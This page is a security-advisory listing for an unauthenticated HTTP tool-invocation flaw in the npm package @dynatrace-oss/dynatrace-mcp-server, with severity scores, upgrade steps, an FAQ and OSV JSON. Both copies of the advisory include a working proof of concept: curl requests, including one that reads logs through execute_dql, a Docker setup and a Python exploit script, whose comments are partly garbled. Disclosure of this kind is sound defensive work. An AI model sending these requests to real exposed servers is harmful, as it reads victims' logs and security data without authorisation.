Vulnerabilities in pkg:npm/@dynatrace-oss/dynatrace-mcp-server

PACKAGE
Advisory Summary

GHSA-p7w7-4929-vpj5 is a HIGH (CVSS 7.5) `@dynatrace-oss/dynatrace-mcp-server` has unauthenticated http mcp vulnerability (CWE-306: Missing Authentication for Critical Function) affecting @dynatrace oss/dynatrace mcp server libraries in the npm ecosystem. The issue involves `@dynatrace-oss/dynatrace-mcp-server` has unauthenticated http mcp tool invocation. Remediation is available by upgrading affected packages to version 2.0.0.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@dynatrace-oss/dynatrace-mcp-server

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@dynatrace-oss/dynatrace-mcp-server. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-p7w7-4929-vpj5 - HIGH `@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation
GHSA-xrmj-5g4g-8987 - MODERATE @dynatrace-oss/dynatrace-mcp-server has a workflow template injection via create_workflow_for_notification
GHSA-pqh8-p93p-2rx7 - MODERATE @dynatrace-oss/dynatrace-mcp-server has a DQL injection via parameters not documented as DQL
GHSA-pc2w-4mq8-32qw - LOW @dynatrace-oss/dynatrace-mcp-server's create_dynatrace_notebook missing the human-approval gate

GHSA-p7w7-4929-vpj5 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-p7w7-4929-vpj5
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product @dynatrace oss/dynatrace mcp server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix GHSA-p7w7-4929-vpj5

To remediate this vulnerability, upgrade all affected @dynatrace oss/dynatrace mcp server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@dynatrace-oss/dynatrace-mcp-server fixed: 2.0.0
npm install @dynatrace-oss/dynatrace-mcp-server@2.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @dynatrace-oss/dynatrace-mcp-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-p7w7-4929-vpj5, inspect your project dependencies using npm:

npm ls @dynatrace-oss/dynatrace-mcp-server

Analyze the terminal output to locate any version of @dynatrace oss/dynatrace mcp server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0), your application is affected.

Note: The npm ls @dynatrace-oss/dynatrace-mcp-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In @dynatrace oss/dynatrace mcp server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant). ### Details When the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance: ```ts // src/index.ts:1638-1640 const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, // No Session ID needed }); ``` No bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport: ```ts // src/index.ts:1648-1668 body = JSON.parse(rawBody); ... await httpTransport.handleRequest(req, res, body); ``` Two tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate: **`execute_dql` — Confidentiality: High** ```ts // src/index.ts:746-769 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...)); return executeDql(dtClient, { query }); ``` An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials. **`create_dynatrace_notebook` — Integrity: Low** ```ts // src/index.ts:1593-1600 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write')); return createNotebook(dtClient, { name, sections }); ``` An attacker can create notebooks under the victim's tenant. > **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector. > **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials. ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build \ -t dynatrace-mcp-vuln001:latest \ -f /path/to/vuln-001/Dockerfile \ /path/to/dynatrace-mcp/repo # Run — abc12345 in hostname activates demo mode, skipping real API connectivity check docker run -d \ --name dynatrace-mcp-vuln001-test \ -p 127.0.0.1:3999:3999 \ -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \ -e DT_PLATFORM_TOKEN=fake-token-for-poc \ dynatrace-mcp-vuln001:latest \ --http --port 3999 --host 0.0.0.0 ``` **Unauthenticated tool invocation (no `Authorization` header):** ```bash curl -sS -N -X POST http://127.0.0.1:3999/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}' ``` **Observed response (HTTP 200, no authentication required):** ``` HTTP/1.1 200 OK content-type: text/event-stream event: message data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1} ``` **Python PoC script** (automated, with server-readiness polling): ```bash python3 poc.py 127.0.0.1 3999 # Exits 0 on confirmed unauthenticated tool execution # Exits 2 if server correctly returns HTTP 401 (patched) ``` **High-impact variant with real credentials — data exfiltration via `execute_dql`:** ```bash curl -sS -N -X POST http://<server>:3000/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "execute_dql", "arguments": { "query": "fetch logs | limit 10" } } }' ``` **Recommended remediation:** ```diff --- a/src/index.ts +++ b/src/index.ts +import { timingSafeEqual } from 'node:crypto'; + .option('--http-auth-token <token>', 'bearer token required for HTTP server mode') + const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN; + + const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => { + const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined; + const actualHeader = req.headers.authorization; + if (!expected || !actualHeader) return false; + const actual = Buffer.from(actualHeader); + return actual.length === expected.length && timingSafeEqual(actual, expected); + }; if (httpMode) { + if (!httpAuthToken) { + console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.'); + process.exit(1); + } const httpServer = createServer(async (req, res) => { + if (!isAuthorizedHttpRequest(req)) { + res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' }); + res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } })); + return; + } const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, + enableDnsRebindingProtection: true, + allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`], }); ``` ### Impact This is a **Missing Authentication for Critical Function** vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via `execute_dql` and write notebook documents via `create_dynatrace_notebook`, all under the configured Dynatrace credentials without needing to know those credentials. **Who is impacted:** Organizations running `dynatrace-mcp-server` with the `--http` flag enabled — particularly deployments using `--host 0.0.0.0` (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With `--host 0.0.0.0` the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306) # build stage - text sourcefrom dynatrace-mcp-server build FROM node:22.21.1-alpine3.22 AS build WORKDIR /app # repo copy the full repo source (hosttext clone repo pathfrom textand build) COPY . . RUN npm ci RUN npm run build # runtime textonly install (dist/package.json criteria) RUN cd dist && npm install --ignore-scripts && npm cache clean --force # runtime stage FROM node:22.21.1-alpine3.22 WORKDIR /app COPY --from=build --chown=node:node /app/dist /app/dist USER node # environment variable: fake Dynatrace credentials (actual API calltext without reset_grail_budget PoCtext) # abc12345 contains when isDemoEnvironment=true → text text skip (src/index.ts:179) ENV DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com ENV DT_PLATFORM_TOKEN=fake-token-for-poc # HTTP text server start (--http: vulnerability text flag) ENTRYPOINT ["node", "dist/index.js"] CMD ["--http", "--port", "3999", "--host", "0.0.0.0"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 PoC: Unauthenticated HTTP MCP Tool Invocation (CWE-306) Proof objective: dynatrace-mcp-servertext --http text executetext when, Authorization headertext session token text tools/call requesttext sendand MCP tooltext executeto do can existstext proof. Attack target tool: reset_grail_budget - actual Dynatrace API call text in-memory statusonly secondstext (textbeforetext PoC target) - success response: "Grail Budget Reset Successfully" string contains usage: python3 poc.py [host] [port] python3 poc.py 127.0.0.1 3999 """ import sys import socket import time import json HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3999 TIMEOUT = 15 def wait_for_server(host: str, port: int, retries: int = 20, delay: float = 1.0) -> bool: for i in range(retries): try: s = socket.create_connection((host, port), timeout=2) s.close() return True except (ConnectionRefusedError, OSError): print(f"[*] server wait in progress... ({i+1}/{retries})", flush=True) time.sleep(delay) return False def send_unauthenticated_mcp_call(host: str, port: int) -> dict: """ without an authentication header MCP tools/call send request. vulnerability: StreamableHTTPServerTransport create when sessionIdGenerator: undefinedonly configuration, Bearer token/Origin/Host verification beforetext none (src/index.ts:1638-1640). """ payload = json.dumps({ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "reset_grail_budget", "arguments": {} } }) # authentication header textas omit - textthattext vulnerability prooftext key point request = ( f"POST / HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" f"Content-Type: application/json\r\n" f"Accept: application/json, text/event-stream\r\n" f"Mcp-Protocol-Version: 2025-03-26\r\n" f"Content-Length: {len(payload)}\r\n" f"Connection: close\r\n" f"\r\n" f"{payload}" ) s = socket.create_connection((host, port), timeout=TIMEOUT) s.sendall(request.encode()) response_chunks = [] s.settimeout(TIMEOUT) try: while True: chunk = s.recv(4096) if not chunk: break response_chunks.append(chunk.decode("utf-8", errors="replace")) except socket.timeout: pass s.close() return "".join(response_chunks) def main(): print(f"[VULN-001 PoC] Unauthenticated HTTP MCP Tool Invocation") print(f"[*] target: http://{HOST}:{PORT}/") print(f"[*] authentication header: none (text omit - vulnerability proof)") print(f"[*] call tool: reset_grail_budget") print() # wait for server readiness print(f"[*] waiting for server response...") if not wait_for_server(HOST, PORT): print(f"[FAIL] {HOST}:{PORT} from server is not responding.") sys.exit(1) print(f"[*] server connection succeeded") print(f"[*] without authentication tools/call send request...") print() raw_response = send_unauthenticated_mcp_call(HOST, PORT) print("=== HTTP response raw text ===") print(raw_response) print("=== response text ===") print() # evidence verification # HTTP 401 Unauthorizedtext returnif it becomes vulnerability none (textdone) if "401" in raw_response and "Unauthorized" in raw_response: print("[FAIL] servertext 401 Unauthorizedtext returntext - authenticationtext textbecomes exists") print("[conclusion] vulnerabilitytext text authenticationtext enabledbecomes exists.") sys.exit(2) # success condition: reset_grail_budget result text contains if "Grail Budget Reset Successfully" in raw_response: print("[PASS] without authentication MCP tool execute success!") print("[evidence] responsetext 'Grail Budget Reset Successfully' contains") print("[conclusion] VULN-001 confirmed: --http textfrom without authentication tools/call execute possible") sys.exit(0) # jsonrpc result parse attempt for line in raw_response.split("\n"): line = line.strip() if line.startswith("data:") or line.startswith("{"): try: data_str = line[5:].strip() if line.startswith("data:") else line data = json.loads(data_str) if "result" in data: print("[PASS] JSON-RPC result received - without authentication tool call success") print(f"[evidence] {json.dumps(data, ensure_ascii=False)}") sys.exit(0) if "error" in data: err = data["error"] print(f"[INFO] JSON-RPC error response: code={err.get('code')}, message={err.get('message')}") except json.JSONDecodeError: pass print("[INCOMPLETE] expected response patterntext text text.") print("[text] above response raw texttext check this.") sys.exit(3) if __name__ == "__main__": main() ```

GHSA-p7w7-4929-vpj5 Affected @dynatrace oss/dynatrace mcp server Versions

1 component(s)
Fixed Versions:
2.0.0
Product / Package Ecosystem Affected Versions Fixed Version
@dynatrace-oss/dynatrace-mcp-server
npm
< 2.0.0
2.0.0

References

Frequently Asked Questions

What is GHSA-p7w7-4929-vpj5?
GHSA-p7w7-4929-vpj5 is a security vulnerability in @dynatrace oss/dynatrace mcp server involving `@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation under CWE-306: Missing Authentication for Critical Function.
Which @dynatrace oss/dynatrace mcp server versions are affected?
Affected versions include releases prior to 2.0.0 across affected packages: @dynatrace-oss/dynatrace-mcp-server.
What version fixes GHSA-p7w7-4929-vpj5?
Upgrading to 2.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @dynatrace-oss/dynatrace-mcp-server affected?
Yes, @dynatrace-oss/dynatrace-mcp-server is affected in releases prior to 2.0.0. Upgrade your dependency to 2.0.0 or later.
What is the CVSS score of GHSA-p7w7-4929-vpj5?
GHSA-p7w7-4929-vpj5 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L.
What CWE is associated with GHSA-p7w7-4929-vpj5?
GHSA-p7w7-4929-vpj5 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check npm dependencies for GHSA-p7w7-4929-vpj5?
Run the dependency tree command: 'npm ls @dynatrace-oss/dynatrace-mcp-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p7w7-4929-vpj5",
  "modified" : "2026-07-31T16:05:57Z",
  "published" : "2026-07-31T16:05:57Z",
  "aliases" : [ ],
  "summary" : "`@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation",
  "details" : "### Summary\n\n`@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant).\n\n### Details\n\nWhen the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance:\n\n```ts\n// src/index.ts:1638-1640\nconst httpTransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: undefined, // No Session ID needed\n});\n```\n\nNo bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:\n\n```ts\n// src/index.ts:1648-1668\nbody = JSON.parse(rawBody);\n...\nawait httpTransport.handleRequest(req, res, body);\n```\n\nTwo tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate:\n\n**`execute_dql` — Confidentiality: High**\n```ts\n// src/index.ts:746-769\n// No requestHumanApproval before createAuthenticatedHttpClient\nconst dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...));\nreturn executeDql(dtClient, { query });\n```\nAn attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials.\n\n**`create_dynatrace_notebook` — Integrity: Low**\n```ts\n// src/index.ts:1593-1600\n// No requestHumanApproval before createAuthenticatedHttpClient\nconst dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write'));\nreturn createNotebook(dtClient, { name, sections });\n```\nAn attacker can create notebooks under the victim's tenant.\n\n> **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector.\n\n> **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build from repository root\ndocker build \\\n  -t dynatrace-mcp-vuln001:latest \\\n  -f /path/to/vuln-001/Dockerfile \\\n  /path/to/dynatrace-mcp/repo\n\n# Run — abc12345 in hostname activates demo mode, skipping real API connectivity check\ndocker run -d \\\n  --name dynatrace-mcp-vuln001-test \\\n  -p 127.0.0.1:3999:3999 \\\n  -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \\\n  -e DT_PLATFORM_TOKEN=fake-token-for-poc \\\n  dynatrace-mcp-vuln001:latest \\\n  --http --port 3999 --host 0.0.0.0\n```\n\n**Unauthenticated tool invocation (no `Authorization` header):**\n\n```bash\ncurl -sS -N -X POST http://127.0.0.1:3999/ \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'Mcp-Protocol-Version: 2025-03-26' \\\n  --data '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"reset_grail_budget\",\"arguments\":{}}}'\n```\n\n**Observed response (HTTP 200, no authentication required):**\n\n```\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\n\nevent: message\ndata: {\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"✅ **Grail Budget Reset Successfully!**\\n\\nBudget status after reset:\\n- Total bytes scanned: 0 bytes (0 GB)\\n- Budget limit: 5000 GB\\n- Remaining budget: 5000 GB\\n- Budget exceeded: No\"}]},\"jsonrpc\":\"2.0\",\"id\":1}\n```\n\n**Python PoC script** (automated, with server-readiness polling):\n\n```bash\npython3 poc.py 127.0.0.1 3999\n# Exits 0 on confirmed unauthenticated tool execution\n# Exits 2 if server correctly returns HTTP 401 (patched)\n```\n\n**High-impact variant with real credentials — data exfiltration via `execute_dql`:**\n\n```bash\ncurl -sS -N -X POST http://<server>:3000/ \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'Mcp-Protocol-Version: 2025-03-26' \\\n  --data '{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"execute_dql\",\n      \"arguments\": {\n        \"query\": \"fetch logs | limit 10\"\n      }\n    }\n  }'\n```\n\n**Recommended remediation:**\n\n```diff\n--- a/src/index.ts\n+++ b/src/index.ts\n+import { timingSafeEqual } from 'node:crypto';\n\n+    .option('--http-auth-token <token>', 'bearer token required for HTTP server mode')\n\n+  const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;\n+\n+  const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => {\n+    const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;\n+    const actualHeader = req.headers.authorization;\n+    if (!expected || !actualHeader) return false;\n+    const actual = Buffer.from(actualHeader);\n+    return actual.length === expected.length && timingSafeEqual(actual, expected);\n+  };\n\n   if (httpMode) {\n+    if (!httpAuthToken) {\n+      console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.');\n+      process.exit(1);\n+    }\n     const httpServer = createServer(async (req, res) => {\n+      if (!isAuthorizedHttpRequest(req)) {\n+        res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' });\n+        res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } }));\n+        return;\n+      }\n\n       const httpTransport = new StreamableHTTPServerTransport({\n         sessionIdGenerator: undefined,\n+        enableDnsRebindingProtection: true,\n+        allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],\n       });\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function** vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via `execute_dql` and write notebook documents via `create_dynatrace_notebook`, all under the configured Dynatrace credentials without needing to know those credentials.\n\n**Who is impacted:** Organizations running `dynatrace-mcp-server` with the `--http` flag enabled — particularly deployments using `--host 0.0.0.0` (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With `--host 0.0.0.0` the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)\n# build stage - text sourcefrom dynatrace-mcp-server build\nFROM node:22.21.1-alpine3.22 AS build\n\nWORKDIR /app\n\n# repo copy the full repo source (hosttext clone repo pathfrom textand build)\nCOPY . .\n\nRUN npm ci\nRUN npm run build\n\n# runtime textonly install (dist/package.json criteria)\nRUN cd dist && npm install --ignore-scripts && npm cache clean --force\n\n# runtime stage\nFROM node:22.21.1-alpine3.22\n\nWORKDIR /app\n\nCOPY --from=build --chown=node:node /app/dist /app/dist\n\nUSER node\n\n# environment variable: fake Dynatrace credentials (actual API calltext without reset_grail_budget PoCtext)\n# abc12345 contains when isDemoEnvironment=true → text text skip (src/index.ts:179)\nENV DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com\nENV DT_PLATFORM_TOKEN=fake-token-for-poc\n\n# HTTP text server start (--http: vulnerability text flag)\nENTRYPOINT [\"node\", \"dist/index.js\"]\nCMD [\"--http\", \"--port\", \"3999\", \"--host\", \"0.0.0.0\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Unauthenticated HTTP MCP Tool Invocation (CWE-306)\n\nProof objective:\n  dynatrace-mcp-servertext --http text executetext when, Authorization headertext\n  session token text tools/call requesttext sendand MCP tooltext executeto do can existstext proof.\n\nAttack target tool: reset_grail_budget\n  - actual Dynatrace API call text in-memory statusonly secondstext (textbeforetext PoC target)\n  - success response: \"Grail Budget Reset Successfully\" string contains\n\nusage:\n  python3 poc.py [host] [port]\n  python3 poc.py 127.0.0.1 3999\n\"\"\"\n\nimport sys\nimport socket\nimport time\nimport json\n\nHOST = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3999\nTIMEOUT = 15\n\n\ndef wait_for_server(host: str, port: int, retries: int = 20, delay: float = 1.0) -> bool:\n    for i in range(retries):\n        try:\n            s = socket.create_connection((host, port), timeout=2)\n            s.close()\n            return True\n        except (ConnectionRefusedError, OSError):\n            print(f\"[*] server wait in progress... ({i+1}/{retries})\", flush=True)\n            time.sleep(delay)\n    return False\n\n\ndef send_unauthenticated_mcp_call(host: str, port: int) -> dict:\n    \"\"\"\n    without an authentication header MCP tools/call send request.\n    vulnerability: StreamableHTTPServerTransport create when sessionIdGenerator: undefinedonly configuration,\n            Bearer token/Origin/Host verification beforetext none (src/index.ts:1638-1640).\n    \"\"\"\n    payload = json.dumps({\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"reset_grail_budget\",\n            \"arguments\": {}\n        }\n    })\n\n    # authentication header textas omit - textthattext vulnerability prooftext key point\n    request = (\n        f\"POST / HTTP/1.1\\r\\n\"\n        f\"Host: {host}:{port}\\r\\n\"\n        f\"Content-Type: application/json\\r\\n\"\n        f\"Accept: application/json, text/event-stream\\r\\n\"\n        f\"Mcp-Protocol-Version: 2025-03-26\\r\\n\"\n        f\"Content-Length: {len(payload)}\\r\\n\"\n        f\"Connection: close\\r\\n\"\n        f\"\\r\\n\"\n        f\"{payload}\"\n    )\n\n    s = socket.create_connection((host, port), timeout=TIMEOUT)\n    s.sendall(request.encode())\n\n    response_chunks = []\n    s.settimeout(TIMEOUT)\n    try:\n        while True:\n            chunk = s.recv(4096)\n            if not chunk:\n                break\n            response_chunks.append(chunk.decode(\"utf-8\", errors=\"replace\"))\n    except socket.timeout:\n        pass\n    s.close()\n\n    return \"\".join(response_chunks)\n\n\ndef main():\n    print(f\"[VULN-001 PoC] Unauthenticated HTTP MCP Tool Invocation\")\n    print(f\"[*] target: http://{HOST}:{PORT}/\")\n    print(f\"[*] authentication header: none (text omit - vulnerability proof)\")\n    print(f\"[*] call tool: reset_grail_budget\")\n    print()\n\n    # wait for server readiness\n    print(f\"[*] waiting for server response...\")\n    if not wait_for_server(HOST, PORT):\n        print(f\"[FAIL] {HOST}:{PORT} from server is not responding.\")\n        sys.exit(1)\n\n    print(f\"[*] server connection succeeded\")\n    print(f\"[*] without authentication tools/call send request...\")\n    print()\n\n    raw_response = send_unauthenticated_mcp_call(HOST, PORT)\n\n    print(\"=== HTTP response raw text ===\")\n    print(raw_response)\n    print(\"=== response text ===\")\n    print()\n\n    # evidence verification\n    # HTTP 401 Unauthorizedtext returnif it becomes vulnerability none (textdone)\n    if \"401\" in raw_response and \"Unauthorized\" in raw_response:\n        print(\"[FAIL] servertext 401 Unauthorizedtext returntext - authenticationtext textbecomes exists\")\n        print(\"[conclusion] vulnerabilitytext text authenticationtext enabledbecomes exists.\")\n        sys.exit(2)\n\n    # success condition: reset_grail_budget result text contains\n    if \"Grail Budget Reset Successfully\" in raw_response:\n        print(\"[PASS] without authentication MCP tool execute success!\")\n        print(\"[evidence] responsetext 'Grail Budget Reset Successfully' contains\")\n        print(\"[conclusion] VULN-001 confirmed: --http textfrom without authentication tools/call execute possible\")\n        sys.exit(0)\n\n    # jsonrpc result parse attempt\n    for line in raw_response.split(\"\\n\"):\n        line = line.strip()\n        if line.startswith(\"data:\") or line.startswith(\"{\"):\n            try:\n                data_str = line[5:].strip() if line.startswith(\"data:\") else line\n                data = json.loads(data_str)\n                if \"result\" in data:\n                    print(\"[PASS] JSON-RPC result received - without authentication tool call success\")\n                    print(f\"[evidence] {json.dumps(data, ensure_ascii=False)}\")\n                    sys.exit(0)\n                if \"error\" in data:\n                    err = data[\"error\"]\n                    print(f\"[INFO] JSON-RPC error response: code={err.get('code')}, message={err.get('message')}\")\n            except json.JSONDecodeError:\n                pass\n\n    print(\"[INCOMPLETE] expected response patterntext text text.\")\n    print(\"[text] above response raw texttext check this.\")\n    sys.exit(3)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@dynatrace-oss/dynatrace-mcp-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.8.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dynatrace-oss/dynatrace-mcp/security/advisories/GHSA-p7w7-4929-vpj5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dynatrace-oss/dynatrace-mcp/pull/536"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dynatrace-oss/dynatrace-mcp/commit/8f12972481e9165e8bd24d63b0a9e71976f85a43"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dynatrace-oss/dynatrace-mcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dynatrace-oss/dynatrace-mcp/releases/tag/v2.0.0"
  } ],
